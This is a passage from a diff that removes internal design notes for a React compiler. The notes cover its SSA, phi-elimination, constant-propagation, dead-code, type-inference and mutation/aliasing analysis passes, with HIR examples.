[8] $23 = StoreLocal Reassign y$22 = $21 // y$22: new SSA name
[9] Goto bb1
bb3 (block):
predecessor blocks: bb0
[10] $24 = 2
[11] $26 = StoreLocal Reassign y$25 = $24 // y$25: new SSA name
[12] Goto bb1
bb1 (block):
predecessor blocks: bb2 bb3
y$27: phi(bb2: y$22, bb3: y$25) // PHI NODE: merges y$22 and y$25
[13] $28 = LoadLocal y$27 // Uses phi result
[14] $30 = StoreLocal Let x$29 = $28
```
### Loop Example (while loop with back-edge):
```javascript
function foo() {
let x = 1;
while (x < 10) {
x = x + 1;
}
return x;
}
```
### After SSA:
```
bb0 (block):
[1] $13 = 1
[2] $15 = StoreLocal Let x$14 = $13 // x$14: initial definition
[3] While test=bb1 loop=bb3 fallthrough=bb2
bb1 (loop):
predecessor blocks: bb0 bb3
x$16: phi(bb0: x$14, bb3: x$23) // PHI merges initial and loop-updated values
[4] $17 = LoadLocal x$16
[5] $18 = 10
[6] $19 = Binary $17 < $18
[7] Branch ($19) then:bb3 else:bb2
bb3 (block):
predecessor blocks: bb1
[8] $20 = LoadLocal x$16 // Uses phi result
[9] $21 = 1
[10] $22 = Binary $20 + $21
[11] $24 = StoreLocal Reassign x$23 = $22 // x$23: new SSA name in loop body
[12] Goto(Continue) bb1
bb2 (block):
predecessor blocks: bb1
[13] $25 = LoadLocal x$16 // Uses phi result
[14] Return Explicit $25
```
The phi node at `bb1` (the loop header) is initially created as an "incomplete phi" when first visited because `bb3` (the loop body) hasn't been visited yet. Once `bb3` is processed and its terminal is handled, the incomplete phi is fixed by calling `fixIncompletePhis` to populate the operand from `bb3`.

View File

@@ -1,90 +0,0 @@
# eliminateRedundantPhi
## File
`src/SSA/EliminateRedundantPhi.ts`
## Purpose
Eliminates phi nodes whose operands are trivially the same, replacing all usages of the phi's output identifier with the single source identifier. This simplifies the HIR by removing unnecessary join points that do not actually merge distinct values.
## Input Invariants
- The function must be in SSA form (i.e., `enterSSA` has already run)
- Blocks are in reverse postorder (guaranteed by the HIR structure)
- Phi nodes exist at the start of blocks where control flow merges
## Output Guarantees
- All redundant phi nodes are removed from the HIR
- All references to eliminated phi identifiers are rewritten to the source identifier
- Non-redundant phi nodes (those merging two or more distinct values) are preserved
- Nested function expressions (FunctionExpression, ObjectMethod) also have their redundant phis eliminated and contexts rewritten
## Algorithm
A phi node is considered redundant when:
1. **All operands are the same identifier**: e.g., `x2 = phi(x1, x1, x1)` - the phi is replaced with `x1`
2. **All operands are either the same identifier OR the phi's output**: e.g., `x2 = phi(x1, x2, x1, x2)` - this handles loop back-edges where the phi references itself
The algorithm works as follows:
1. Visit blocks in reverse postorder, building a rewrite table (`Map<Identifier, Identifier>`)
2. For each phi node in a block:
- First rewrite operands using any existing rewrites (to handle cascading eliminations)
- Check if all operands (excluding self-references) point to the same identifier
- If so, add a mapping from the phi's output to that identifier and delete the phi
3. After processing phis, rewrite all instruction lvalues, operands, and terminal operands
4. For nested functions, recursively call `eliminateRedundantPhi` with shared rewrites
5. If the CFG has back-edges (loops) and new rewrites were added, repeat the entire process
The loop termination condition `rewrites.size > size && hasBackEdge` ensures:
- Without loops: completes in a single pass (reverse postorder guarantees forward propagation)
- With loops: repeats until no new rewrites are found (fixpoint)
## Key Data Structures
- **`Phi`** (from `src/HIR/HIR.ts`): Represents a phi node with:
- `place: Place` - the output identifier
- `operands: Map<BlockId, Place>` - maps predecessor block IDs to source places
- **`rewrites: Map<Identifier, Identifier>`**: Maps eliminated phi outputs to their replacement identifier
- **`visited: Set<BlockId>`**: Tracks visited blocks to detect back-edges (loops)
## Edge Cases
- **Loop back-edges**: When a block has a predecessor that hasn't been visited yet (in reverse postorder), that predecessor is a back-edge. The algorithm handles self-referential phis like `x2 = phi(x1, x2)` by ignoring operands equal to the phi's output.
- **Cascading eliminations**: When one phi's output is used in another phi's operands, the algorithm rewrites operands before checking redundancy, enabling transitive elimination in a single pass (for non-loop cases).
- **Nested functions**: FunctionExpression and ObjectMethod values contain nested HIR that may have their own phis. The algorithm recursively processes these with a shared rewrite table, ensuring context captures are also rewritten.
- **Empty phi check**: The algorithm includes an invariant check that phi operands are never empty (which would be invalid HIR).
## TODOs
(None found in the source code)
## Example
Consider this fixture from `rewrite-phis-in-lambda-capture-context.js`:
```javascript
function Component() {
const x = 4;
const get4 = () => {
while (bar()) {
if (baz) { bar(); }
}
return () => x;
};
return get4;
}
```
**After SSA pass**, the inner function has redundant phis due to the loop:
```
bb2 (loop):
predecessor blocks: bb1 bb5
x$29: phi(bb1: x$21, bb5: x$30) // Loop header phi
...
bb5 (block):
predecessor blocks: bb6 bb4
x$30: phi(bb6: x$29, bb4: x$29) // Redundant: both operands are x$29
...
```
**After EliminateRedundantPhi**:
- `x$30 = phi(x$29, x$29)` is eliminated because both operands are `x$29`
- `x$29 = phi(x$21, x$30)` becomes `x$29 = phi(x$21, x$29)` after rewriting, which is also redundant (one operand is the phi itself, the other is `x$21`)
- Both phis are eliminated, and all uses of `x$29` and `x$30` are rewritten to `x$21`
The result: the context capture `@context[x$29]` becomes `@context[x$21]`, correctly propagating that `x` is never modified inside the loop.

View File

@@ -1,110 +0,0 @@
# constantPropagation
## File
`src/Optimization/ConstantPropagation.ts`
## Purpose
Applies Sparse Conditional Constant Propagation (SCCP) to fold compile-time evaluable expressions to constant values, propagate those constants through the program, and eliminate unreachable branches when conditionals have known constant values.
## Input Invariants
- HIR must be in SSA form (runs after `enterSSA`)
- Redundant phi nodes should be eliminated (runs after `eliminateRedundantPhi`)
- Consistent identifiers must be ensured (`assertConsistentIdentifiers`)
- Terminal successors must exist (`assertTerminalSuccessorsExist`)
## Output Guarantees
- Instructions with compile-time evaluable operands are replaced with `Primitive` constants
- `ComputedLoad`/`ComputedStore` with constant string/number properties are converted to `PropertyLoad`/`PropertyStore`
- `LoadLocal` and `StoreLocal` propagate known constant values
- `IfTerminal` with constant boolean test values are replaced with `goto` terminals
- Unreachable blocks are removed and the CFG is minimized
- Phi nodes with unreachable predecessor operands are pruned
- Nested functions (`FunctionExpression`, `ObjectMethod`) are recursively processed
## Algorithm
The pass uses Sparse Conditional Constant Propagation (SCCP) with fixpoint iteration:
1. **Data Structure**: A `Constants` map (`Map<IdentifierId, Constant>`) tracks known constant values (either `Primitive` or `LoadGlobal`)
2. **Single Pass per Iteration**: Visits all blocks in order:
- Evaluates phi nodes - if all operands have the same constant value, the phi result is constant
- Evaluates instructions - replaces evaluable expressions with constants
- Evaluates terminals - if an `IfTerminal` test is a constant, replaces it with a `goto`
3. **Fixpoint Loop**: If any terminals changed (branch elimination):
- Recomputes block ordering (`reversePostorderBlocks`)
- Removes unreachable code (`removeUnreachableForUpdates`, `removeDeadDoWhileStatements`, `removeUnnecessaryTryCatch`)
- Renumbers instructions (`markInstructionIds`)
- Updates predecessors (`markPredecessors`)
- Prunes phi operands from unreachable predecessors
- Eliminates newly-redundant phis (`eliminateRedundantPhi`)
- Merges consecutive blocks (`mergeConsecutiveBlocks`)
- Repeats until no more changes
4. **Instruction Evaluation**: Handles various instruction types:
- **Primitives/LoadGlobal**: Directly constant
- **BinaryExpression**: Folds arithmetic (`+`, `-`, `*`, `/`, `%`, `**`), bitwise (`|`, `&`, `^`, `<<`, `>>`, `>>>`), and comparison (`<`, `<=`, `>`, `>=`, `==`, `===`, `!=`, `!==`) operators
- **UnaryExpression**: Folds `!` (boolean negation) and `-` (numeric negation)
- **PostfixUpdate/PrefixUpdate**: Folds `++`/`--` on constant numbers
- **PropertyLoad**: Folds `.length` on constant strings
- **TemplateLiteral**: Folds template strings with constant interpolations
- **ComputedLoad/ComputedStore**: Converts to property access when property is constant string/number
## Key Data Structures
- `Constant = Primitive | LoadGlobal` - The lattice values (no top/bottom, absence means unknown)
- `Constants = Map<IdentifierId, Constant>` - Maps identifier IDs to their known constant values
- Uses HIR types: `Instruction`, `Phi`, `Place`, `Primitive`, `LoadGlobal`, `InstructionValue`
## Edge Cases
- **Last instruction of sequence blocks**: Skipped to preserve evaluation order
- **Phi nodes with back-edges**: Single-pass analysis means loop back-edges won't have constant values propagated
- **Template literals with Symbol**: Not folded (would throw at runtime)
- **Template literals with objects/arrays**: Not folded (custom toString behavior)
- **Division results**: Computed at compile time (may produce `NaN`, `Infinity`, etc.)
- **LoadGlobal in phis**: Only propagated if all operands reference the same global name
- **Nested functions**: Constants from outer scope are propagated into nested function expressions
## TODOs
- `// TODO: handle more cases` - The default case in `evaluateInstruction` has room for additional instruction types
## Example
**Input:**
```javascript
function Component() {
let a = 1;
let b;
if (a === 1) {
b = true;
} else {
b = false;
}
let c;
if (b) {
c = 'hello';
} else {
c = null;
}
return c;
}
```
**After ConstantPropagation:**
- `a === 1` evaluates to `true`
- The `if (a === 1)` branch is eliminated, only consequent remains
- `b` is known to be `true`
- `if (b)` branch is eliminated, only consequent remains
- `c` is known to be `'hello'`
- All intermediate blocks are merged
**Output:**
```javascript
function Component() {
return "hello";
}
```
The pass performs iterative simplification: first iteration determines `a === 1` is `true` and eliminates that branch. The CFG is updated, phi for `b` is pruned to single operand making `b = true`. Second iteration uses `b = true` to eliminate the next branch. This continues until no more branches can be eliminated.

View File

@@ -1,109 +0,0 @@
# deadCodeElimination
## File
`src/Optimization/DeadCodeElimination.ts`
## Purpose
Eliminates instructions whose values are unused, reducing generated code size. The pass performs mark-and-sweep analysis to identify and remove dead code while preserving side effects and program semantics.
## Input Invariants
- Must run after `InferMutationAliasingEffects` because "dead" code may still affect effect inference
- HIR is in SSA form with phi nodes
- Unreachable blocks are already pruned during HIR construction
## Output Guarantees
- All instructions with unused lvalues (that are safe to prune) are removed
- Unused phi nodes are deleted
- Unused context variables are removed from `fn.context`
- Destructuring patterns are rewritten to remove unused bindings
- `StoreLocal` instructions with unused initializers are converted to `DeclareLocal`
## Algorithm
Two-phase mark-and-sweep with fixed-point iteration for loops:
**Phase 1: Mark (findReferencedIdentifiers)**
1. Detect if function has back-edges (loops)
2. Iterate blocks in reverse postorder (successors before predecessors) to visit usages before declarations
3. For each block:
- Mark all terminal operands as referenced
- Process instructions in reverse order:
- If lvalue is used OR instruction is not pruneable, mark the lvalue and all operands as referenced
- Special case for `StoreLocal`: only mark initializer if the SSA lvalue is actually read
- Mark phi operands if the phi result is used
4. If loops exist and new identifiers were marked, repeat until fixed point
**Phase 2: Sweep**
1. Remove unused phi nodes from each block
2. Remove instructions with unused lvalues using `retainWhere`
3. Rewrite retained instructions:
- **Array destructuring**: Replace unused elements with holes, truncate trailing holes
- **Object destructuring**: Remove unused properties (only if rest element is unused or absent)
- **StoreLocal**: Convert to `DeclareLocal` if initializer value is never read
4. Remove unused context variables
## Key Data Structures
- **State class**: Tracks referenced identifiers
- `identifiers: Set<IdentifierId>` - SSA-specific usages
- `named: Set<string>` - Named variable usages (any version)
- `isIdOrNameUsed()` - Checks if identifier or any version of named variable is used
- `isIdUsed()` - Checks if specific SSA id is used
- **hasBackEdge/findBlocksWithBackEdges**: Detect loops requiring fixed-point iteration
## Edge Cases
- **Preserved even if unused:**
- `debugger` statements (to not break debugging workflows)
- Call expressions and method calls (may have side effects)
- Await expressions
- Store operations (ComputedStore, PropertyStore, StoreGlobal)
- Delete operations (ComputedDelete, PropertyDelete)
- Iterator operations (GetIterator, IteratorNext, NextPropertyOf)
- Context operations (LoadContext, DeclareContext, StoreContext)
- Memoization markers (StartMemoize, FinishMemoize)
- **SSR mode special case:**
- In SSR mode, unused `useState`, `useReducer`, and `useRef` hooks can be removed
- **Object destructuring with rest:**
- Cannot remove unused properties if rest element is used (would change rest's value)
- **Block value instructions:**
- Last instruction of value blocks (not 'block' kind) is never pruned as it's the block's value
## TODOs
- "TODO: we could be more precise and make this conditional on whether any arguments are actually modified" (for mutating instructions)
## Example
**Input:**
```javascript
function Component(props) {
const _ = 42;
return props.value;
}
```
**After DeadCodeElimination:**
The `const _ = 42` assignment is removed since `_` is never used:
```javascript
function Component(props) {
return props.value;
}
```
**Array destructuring example:**
Input:
```javascript
function foo(props) {
const [x, unused, y] = props.a;
return x + y;
}
```
Output (middle element becomes a hole):
```javascript
function foo(props) {
const [x, , y] = props.a;
return x + y;
}
```

View File

@@ -1,124 +0,0 @@
# inferTypes
## File
`src/TypeInference/InferTypes.ts`
## Purpose
Infers types for all identifiers in the HIR by generating type equations and solving them using unification. This pass annotates identifiers with concrete types (Primitive, Object, Function) based on the operations performed on them and the types of globals/hooks they interact with.
## Input Invariants
- The HIR must be in SSA form (the pass runs after `enterSSA` and `eliminateRedundantPhi`)
- Constant propagation has already run
- Global declarations and hook shapes are available via the Environment
## Output Guarantees
- All identifier types are resolved from type variables (`Type`) to concrete types where possible
- Phi nodes have their operand types unified to produce a single result type
- Function return types are inferred from the unified types of all return statements
- Property accesses on known objects/hooks resolve to the declared property types
- Component props parameters are typed as `TObject<BuiltInProps>`
- Component ref parameters are typed as `TObject<BuiltInUseRefId>`
## Algorithm
The pass uses a classic constraint-based type inference approach with three phases:
1. **Constraint Generation (`generate`)**: Traverses all instructions and generates type equations:
- Primitives, literals, unary/binary operations -> `Primitive` type
- Hook/function calls -> Function type with fresh return type variable
- Property loads -> `Property` type that defers to object shape lookup
- Destructuring -> Property types for each extracted element
- Phi nodes -> `Phi` type with all operand types as candidates
- JSX -> `Object<BuiltInJsx>`
- Arrays -> `Object<BuiltInArray>`
- Objects -> `Object<BuiltInObject>`
2. **Unification (`Unifier.unify`)**: Solves constraints by unifying type equations:
- Type variables are bound to concrete types via substitution
- Property types are resolved by looking up the object's shape
- Phi types are resolved by finding a common type among operands (or falling back to `Phi` if incompatible)
- Function types are unified by unifying their return types
- Occurs check prevents infinite types (cycles in type references)
3. **Application (`apply`)**: Applies the computed substitutions to all identifiers in the HIR, replacing type variables with their resolved types.
## Key Data Structures
- **TypeVar** (`kind: 'Type'`): A type variable with a unique TypeId, used for unknowns
- **Unifier**: Maintains a substitution map from TypeId to Type, with methods for unification and cycle detection
- **TypeEquation**: A pair of types that should be equal, used as constraints
- **PhiType** (`kind: 'Phi'`): Represents the join of multiple types from control flow merge points
- **PropType** (`kind: 'Property'`): Deferred property lookup that resolves based on object shape
- **FunctionType** (`kind: 'Function'`): Callable type with optional shapeId and return type
- **ObjectType** (`kind: 'Object'`): Object with optional shapeId for shape lookup
## Edge Cases
### Phi Type Resolution
When phi operands have incompatible types, the pass attempts to find a union:
- `Union(Primitive | MixedReadonly) = MixedReadonly`
- `Union(Array | MixedReadonly) = Array`
- If no union is possible, the type remains as `Phi`
### Ref-like Name Inference
When `enableTreatRefLikeIdentifiersAsRefs` is enabled, property access on variables matching the pattern `/^(?:[a-zA-Z$_][a-zA-Z$_0-9]*)Ref$|^ref$/` with property name `current` infers:
- Object type as `TObject<BuiltInUseRefId>`
- Property type as `TObject<BuiltInRefValue>`
### Cycle Detection
The `occursCheck` method prevents infinite types by detecting when a type variable appears in its own substitution. When a cycle is detected, `tryResolveType` removes the cyclic reference from Phi operands.
### Context Variables
- `DeclareContext` and `LoadContext` generate no type equations (intentionally untyped)
- `StoreContext` with `Const` kind does propagate the rvalue type to enable ref inference through context variables
## TODOs
1. **Hook vs Function type ambiguity**:
> "TODO: callee could be a hook or a function, so this type equation isn't correct. We should change Hook to a subtype of Function or change unifier logic."
2. **PropertyStore rvalue inference**:
> "TODO: consider using the rvalue type here" - Currently uses a dummy type for PropertyStore to avoid inferring rvalue types from lvalue assignments.
## Example
**Input (infer-phi-primitive.js):**
```javascript
function foo(a, b) {
let x;
if (a) {
x = 1;
} else {
x = 2;
}
let y = x;
return y;
}
```
**Before InferTypes (SSA form):**
```
<unknown> x$26: phi(bb2: <unknown> x$21, bb3: <unknown> x$24)
[10] <unknown> $27 = LoadLocal <unknown> x$26
[11] <unknown> $29 = StoreLocal Let <unknown> y$28 = <unknown> $27
```
**After InferTypes:**
```
<unknown> x$26:TPrimitive: phi(bb2: <unknown> x$21:TPrimitive, bb3: <unknown> x$24:TPrimitive)
[10] <unknown> $27:TPrimitive = LoadLocal <unknown> x$26:TPrimitive
[11] <unknown> $29:TPrimitive = StoreLocal Let <unknown> y$28:TPrimitive = <unknown> $27:TPrimitive
```
The pass infers that:
- Literals `1` and `2` are `TPrimitive`
- The phi of two primitives is `TPrimitive`
- Variables `x` and `y` are `TPrimitive`
- The function return type is `TPrimitive`
**Hook type inference example (useState):**
```javascript
const [x, setX] = useState(initialValue);
```
After InferTypes:
- `useState` -> `TFunction<BuiltInUseState>:TObject<BuiltInUseState>`
- Return value `$27` -> `TObject<BuiltInUseState>`
- Destructured `setX` -> `TFunction<BuiltInSetState>:TPrimitive`

View File

@@ -1,84 +0,0 @@
# analyseFunctions
## File
`src/Inference/AnalyseFunctions.ts`
## Purpose
Recursively analyzes all nested function expressions and object methods in a function to infer their aliasing effect signatures, which describe how the function affects its captured variables when invoked.
## Input Invariants
- The HIR has been through SSA conversion and type inference
- FunctionExpression and ObjectMethod instructions have an empty `aliasingEffects` array (`@aliasingEffects=[]`)
- Context variables (captured variables from outer scope) exist on `fn.context` but do not have their effect populated
## Output Guarantees
- Every FunctionExpression and ObjectMethod has its `aliasingEffects` array populated with the effects the function performs when called (mutations, captures, aliasing to return value, etc.)
- Each context variable's `effect` property is set to either `Effect.Capture` (if the variable is captured or mutated by the inner function) or `Effect.Read` (if only read)
- Context variable mutable ranges are reset to `{start: 0, end: 0}` and scopes are set to `null` to prepare for the outer function's subsequent `inferMutationAliasingRanges` pass
## Algorithm
1. **Recursive traversal**: Iterates through all blocks and instructions looking for `FunctionExpression` or `ObjectMethod` instructions
2. **Depth-first processing**: For each function expression found, calls `lowerWithMutationAliasing()` which:
- Recursively calls `analyseFunctions()` on the inner function (handles nested functions)
- Runs `inferMutationAliasingEffects()` on the inner function to determine effects
- Runs `deadCodeElimination()` to clean up
- Runs `inferMutationAliasingRanges()` to compute mutable ranges and extract externally-visible effects
- Runs `rewriteInstructionKindsBasedOnReassignment()` and `inferReactiveScopeVariables()`
- Stores the computed effects in `fn.aliasingEffects`
3. **Context variable effect classification**: Scans the computed effects to determine which context variables are captured/mutated vs only read:
- Effects like `Capture`, `Alias`, `Assign`, `MaybeAlias`, `CreateFrom` mark the source as captured
- Mutation effects (`Mutate`, `MutateTransitive`, etc.) mark the target as captured
- Sets `operand.effect = Effect.Capture` or `Effect.Read` accordingly
4. **Range reset**: Resets mutable ranges and scopes on context variables to prepare for outer function analysis
## Key Data Structures
- **HIRFunction.aliasingEffects**: Array of `AliasingEffect` storing the externally-visible behavior of a function when called
- **Place.effect**: Effect enum value (`Capture` or `Read`) describing how a context variable is used
- **AliasingEffect**: Union type describing data flow (Capture, Alias, Assign, etc.) and mutations (Mutate, MutateTransitive, etc.)
- **FunctionExpression/ObjectMethod.loweredFunc.func**: The inner HIRFunction to analyze
## Edge Cases
- **Nested functions**: Handled via recursive call to `analyseFunctions()` before processing the current function - innermost functions are analyzed first
- **ObjectMethod**: Treated identically to FunctionExpression
- **Apply effects invariant**: The pass asserts that no `Apply` effects remain in the function's signature - these should have been resolved to more precise effects by `inferMutationAliasingRanges()`
- **Conditional mutations**: Effects like `MutateTransitiveConditionally` are tracked - a function that conditionally mutates a captured variable will have that effect in its signature
- **Immutable captures**: `ImmutableCapture`, `Freeze`, `Create`, `Impure`, `Render` effects do not contribute to marking context variables as `Capture`
## TODOs
- No TODO comments in the pass itself
## Example
Consider a function that captures and conditionally mutates a variable:
```javascript
function useHook(a, b) {
let z = {a};
let y = b;
let x = function () {
if (y) {
maybeMutate(z); // Unknown function, may mutate z
}
};
return x;
}
```
**Before AnalyseFunctions:**
```
Function @context[y$28, z$25] @aliasingEffects=[]
```
**After AnalyseFunctions:**
```
Function @context[read y$28, capture z$25] @aliasingEffects=[
MutateTransitiveConditionally z$25,
Create $14 = primitive
]
```
The pass infers:
- `y` is only read (used in the condition)
- `z` is captured into the function and conditionally mutated transitively (because `maybeMutate()` is unknown)
- The inner function's signature includes `MutateTransitiveConditionally z$25` to indicate this potential mutation
This signature is then used by `InferMutationAliasingEffects` on the outer function to understand that creating this function captures `z`, and calling the function may mutate `z`.

View File

@@ -1,144 +0,0 @@
# inferMutationAliasingEffects
## File
`src/Inference/InferMutationAliasingEffects.ts`
## Purpose
Infers the mutation and aliasing effects for all instructions and terminals in the HIR, making the effects of built-in instructions/functions as well as user-defined functions explicit. These effects form the basis for subsequent analysis to determine the mutable range of each value in the program and for validation against invalid code patterns like mutating frozen values.
## Input Invariants
- HIR must be in SSA form (run after SSA pass)
- Types must be inferred (run after InferTypes pass)
- Functions must be analyzed (run after AnalyseFunctions pass) - this provides `aliasingEffects` on FunctionExpressions
- Each instruction must have an lvalue (destination place)
## Output Guarantees
- Every instruction has an `effects` array (or null if no effects) containing `AliasingEffect` objects
- Terminals that affect data flow (return, try/catch) have their `effects` populated
- Each instruction's lvalue is guaranteed to be defined in the inference state after visiting
- Effects describe: creation of values, data flow (Assign, Alias, Capture), mutations (Mutate, MutateTransitive), freezing, and errors (MutateFrozen, MutateGlobal, Impure)
## Algorithm
The pass uses abstract interpretation with the following key phases:
1. **Initialization**:
- Create initial `InferenceState` mapping identifiers to abstract values
- Initialize context variables as `ValueKind.Context`
- Initialize parameters as `ValueKind.Frozen` (for top-level components/hooks) or `ValueKind.Mutable` (for function expressions)
2. **Two-Phase Effect Processing**:
- **Phase 1 - Signature Computation**: For each instruction, compute a "candidate signature" based purely on instruction semantics and types (cached per instruction via `computeSignatureForInstruction`)
- **Phase 2 - Effect Application**: Apply the signature to the current abstract state via `applySignature`, which refines effects based on the actual runtime kinds of values
3. **Fixed-Point Iteration**:
- Process blocks in a worklist, queuing successors after each block
- Merge states at control flow join points using lattice operations
- Iterate until no changes occur (max 100 iterations as safety limit)
- Phi nodes are handled by unioning the abstract values from all predecessors
4. **Effect Refinement** (in `applyEffect`):
- `MutateConditionally` effects are dropped if value is not mutable
- `Capture` effects are downgraded to `ImmutableCapture` if source is frozen
- `Mutate` on frozen values becomes `MutateFrozen` error
- `Assign` from primitives/globals creates new values rather than aliasing
## Key Data Structures
### InferenceState
Maintains two maps:
- `#values: Map<InstructionValue, AbstractValue>` - Maps allocation sites to their abstract kind
- `#variables: Map<IdentifierId, Set<InstructionValue>>` - Maps identifiers to the set of values they may point to (set to handle phi joins)
### AbstractValue
```typescript
type AbstractValue = {
kind: ValueKind;
reason: ReadonlySet<ValueReason>;
};
```
### ValueKind (lattice)
```
MaybeFrozen <- top (unknown if frozen or mutable)
|
Frozen <- immutable, cannot be mutated
Mutable <- can be mutated locally
Context <- mutable box (context variables)
|
Global <- global value
Primitive <- copy-on-write semantics
```
The `mergeValueKinds` function implements the lattice join:
- `Frozen | Mutable -> MaybeFrozen`
- `Context | Mutable -> Context`
- `Context | Frozen -> MaybeFrozen`
### AliasingEffect Types
Key effect kinds handled:
- **Create**: Creates a new value at a place
- **Assign**: Direct assignment (pointer copy)
- **Alias**: Mutation of destination implies mutation of source
- **Capture**: Information flow (MutateTransitive propagates through)
- **MaybeAlias**: Possible aliasing for unknown function returns
- **Mutate/MutateTransitive**: Direct/transitive mutation
- **MutateConditionally/MutateTransitiveConditionally**: Conditional versions
- **Freeze**: Marks value as immutable
- **Apply**: Function call with complex data flow
## Edge Cases
1. **Spread Destructuring from Props**: The `findNonMutatedDestructureSpreads` pre-pass identifies spread patterns from frozen values that are never mutated, allowing them to be treated as frozen.
2. **Hoisted Context Declarations**: Special handling for variables declared with hoisting (`HoistedConst`, `HoistedFunction`, `HoistedLet`) to detect access before declaration.
3. **Try-Catch Aliasing**: When a `maybe-throw` terminal is reached, call return values are aliased into the catch binding since exceptions can throw return values.
4. **Function Expressions**: Functions are considered mutable only if they have mutable captures or tracked side effects (MutateFrozen, MutateGlobal, Impure).
5. **Iterator Mutation**: Non-builtin iterators may alias their collection and mutation of the iterator is conditional.
6. **Array.push and Similar**: Uses legacy signature system with `Store` effect on receiver and `Capture` of arguments.
## TODOs
- `// TODO: using InstructionValue as a bit of a hack, but it's pragmatic` - context variable initialization
- `// TODO: call applyEffect() instead` - try-catch aliasing
- `// TODO: make sure we're also validating against global mutations somewhere` - global mutation validation for effects/event handlers
- `// TODO; include "render" here?` - whether to track Render effects in function hasTrackedSideEffects
- `// TODO: consider using persistent data structures to make clone cheaper` - performance optimization for state cloning
- `// TODO check this` and `// TODO: what kind here???` - DeclareLocal value kinds
## Example
For the code:
```javascript
const arr = [];
arr.push({});
arr.push(x, y);
```
After `InferMutationAliasingEffects`, the effects are:
```
[10] $39 = Array []
Create $39 = mutable // Array literal creates mutable value
[11] $41 = StoreLocal arr$40 = $39
Assign arr$40 = $39 // arr points to the array value
Assign $41 = $39
[15] $45 = MethodCall $42.push($44)
Apply $45 = $42.$43($44) // Records the call
Mutate $42 // push mutates the array
Capture $42 <- $44 // {} is captured into array
Create $45 = primitive // push returns number (length)
[20] $50 = MethodCall $46.push($48, $49)
Apply $50 = $46.$47($48, $49)
Mutate $46 // push mutates the array
Capture $46 <- $48 // x captured into array
Capture $46 <- $49 // y captured into array
Create $50 = primitive
```
The key insight is that `Mutate` effects extend the mutable range of the array, and `Capture` effects record data flow so that if the array is later frozen (e.g., returned from a component), the captured values are also considered frozen for validation purposes.

View File

@@ -1,149 +0,0 @@
# inferMutationAliasingRanges
## File
`src/Inference/InferMutationAliasingRanges.ts`
## Purpose
This pass builds an abstract model of the heap and interprets the effects of the given function to determine: (1) the mutable ranges of all identifiers, (2) the externally-visible effects of the function (mutations of params/context-vars, aliasing relationships), and (3) the legacy `Effect` annotation for each Place.
## Input Invariants
- InferMutationAliasingEffects must have already run, populating `instr.effects` on each instruction with aliasing/mutation effects
- SSA form must be established (identifiers are in SSA)
- Type inference has been run (InferTypes)
- Functions have been analyzed (AnalyseFunctions)
- Dead code elimination has been performed
## Output Guarantees
- Every identifier has a populated `mutableRange` (start:end instruction IDs)
- Every Place has a legacy `Effect` annotation (Read, Capture, Store, Freeze, etc.)
- The function's `aliasingEffects` array is populated with externally-visible effects (mutations of params/context-vars, aliasing between params/context-vars/return)
- Validation errors are collected for invalid effects like `MutateFrozen` or `MutateGlobal`
## Algorithm
The pass operates in three main phases:
**Part 1: Build Data Flow Graph and Infer Mutable Ranges**
1. Creates an `AliasingState` which maintains a `Node` for each identifier
2. Iterates through all blocks and instructions, processing effects in program order
3. For each effect:
- `Create`/`CreateFunction`: Creates a new node in the graph
- `CreateFrom`/`Assign`/`Alias`: Adds alias edges between nodes (with ordering index)
- `MaybeAlias`: Adds conditional alias edges
- `Capture`: Adds capture edges (for transitive mutations)
- `Mutate*`: Queues mutations for later processing
- `Render`: Queues render effects for later processing
4. Phi node operands are connected once their predecessor blocks have been visited
5. After the graph is built, mutations are processed:
- Mutations propagate both forward (via edges) and backward (via aliases/captures)
- Each mutation extends the `mutableRange.end` of affected identifiers
- Transitive mutations also traverse capture edges backward
- `MaybeAlias` edges downgrade mutations to `Conditional`
6. Render effects are processed to mark values as rendered
**Part 2: Populate Legacy Per-Place Effects**
- Sets legacy effects on lvalues and operands based on instruction effects and mutable ranges
- Fixes up mutable range start values for identifiers that are mutated after creation
**Part 3: Infer Externally-Visible Function Effects**
- Creates a `Create` effect for the return value
- Simulates transitive mutations of each param/context-var/return to detect capture relationships
- Produces `Alias`/`Capture` effects showing data flow between params/context-vars/return
## Key Data Structures
### `AliasingState`
The main state class maintaining the data flow graph:
- `nodes: Map<Identifier, Node>` - Maps identifiers to their graph nodes
### `Node`
Represents an identifier in the data flow graph:
```typescript
type Node = {
id: Identifier;
createdFrom: Map<Identifier, number>; // CreateFrom edges (source -> index)
captures: Map<Identifier, number>; // Capture edges (source -> index)
aliases: Map<Identifier, number>; // Alias/Assign edges (source -> index)
maybeAliases: Map<Identifier, number>; // MaybeAlias edges (source -> index)
edges: Array<{index, node, kind}>; // Forward edges to other nodes
transitive: {kind: MutationKind; loc} | null; // Transitive mutation info
local: {kind: MutationKind; loc} | null; // Local mutation info
lastMutated: number; // Index of last mutation affecting this node
mutationReason: MutationReason | null; // Reason for mutation
value: {kind: 'Object'} | {kind: 'Phi'} | {kind: 'Function'; function: HIRFunction};
render: Place | null; // Render context if used in JSX
};
```
### `MutationKind`
Enum describing mutation certainty:
```typescript
enum MutationKind {
None = 0,
Conditional = 1, // May mutate (e.g., via MaybeAlias or MutateConditionally)
Definite = 2, // Definitely mutates
}
```
## Edge Cases
### Phi Nodes
- Phi nodes are created as special `{kind: 'Phi'}` nodes
- Phi operands from predecessor blocks are processed with pending edges until the predecessor is visited
- When traversing "forwards" through edges and encountering a phi, backward traversal is stopped (prevents mutation from one phi input affecting other inputs)
### Transitive vs Local Mutations
- Local mutations (`Mutate`) only affect alias/assign edges backward
- Transitive mutations (`MutateTransitive`) also affect capture edges backward
- Both affect all forward edges
### MaybeAlias
- Mutations through MaybeAlias edges are downgraded to `Conditional`
- This prevents false positive errors when we cannot be certain about aliasing
### Function Values
- Functions are tracked specially as `{kind: 'Function'}` nodes
- When a function is mutated (transitively), errors from the function body are propagated
- This handles cases where mutating a captured value in a function affects render safety
### Render Effect Propagation
- Render effects traverse backward through alias/capture/createFrom edges
- Functions that have not been mutated are skipped during render traversal (except for JSX-returning functions)
- Ref types (`isUseRefType`) stop render traversal
## TODOs
1. Assign effects should have an invariant that the node is not initialized yet. Currently `InferFunctionExpressionAliasingEffectSignatures` infers Assign effects that should be Alias, causing reinitialization.
2. Phi place effects are not properly set today.
3. Phi mutable range start calculation is imprecise - currently just sets it to the instruction before the block rather than computing the exact start.
## Example
Consider the following code:
```javascript
function foo() {
let a = {}; // Create a (instruction 1)
let b = {}; // Create b (instruction 3)
a = b; // Assign a <- b (instruction 8)
mutate(a, b); // MutateTransitiveConditionally a, b (instruction 16)
return a;
}
```
The pass builds a graph:
